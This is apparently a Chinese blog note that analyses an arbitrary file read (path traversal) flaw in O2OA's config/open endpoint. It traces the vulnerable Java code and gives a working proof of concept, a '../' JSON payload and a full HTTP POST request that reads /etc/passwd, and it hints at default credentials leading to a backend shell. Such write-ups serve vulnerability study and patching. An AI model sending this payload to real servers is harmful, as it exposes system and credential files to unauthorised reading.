o2oa的任意文件读取

权当笔记

代码分析:

\src\main\java\com\x\xxx\xxx\jaxrs\config\ConfigAction.java的open方法中new了一个ActionOpen对象的execute方法来处理请求

在该方法里
com/x/xxx/xxx/jaxrs/config/ActionOpen.java
先从参数filename处获取文件名

文件名直接拼接到config/后面,然后使用Configbase()方法获取绝对路径,此处是漏洞产生的关键点


此时file的值为C:\web\config\filename

接下来判断file是否存在,如果存在就会用到工具类FileUtilsreadFileToString方法直接读取文件


由于filename参数可控,所以可以利用../来跨目录访问文件

最后返回包含文件内容的结果

漏洞验证:
根据路由构造路径

/xxx/jaxrs/config/open

根据代码


构造json格式的参数

1
{“filename”:”../../../../../../../../etc/passwd”}

2021/11/30更新:

6.4.4还是存在

可以直接请求

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /x_program_center/jaxrs/config/open HTTP/1.1
Host: 127.0.0.1:20020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/json,*/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=utf-8
Content-Length: 39
Connection: close
Cookie: x-token=PfyuxmzgIzpQnJNvn-oq_HwUDX-wFwWE50QnO7mEHhA

{"fileName":"../../../../etc/passwd"}

运气好的话说明账号密码是默认的,直接读取,也可以登录后台getshell,如果文件不存在会提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"type": "success",
"data": {
"time": "",
"status": "success",
"isSample": true
},
"message": "",
"date": "",
"spent": 0,
"size": -1,
"count": 0,
"position": 0
}

需要登录的话提示的是过期重新登录


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.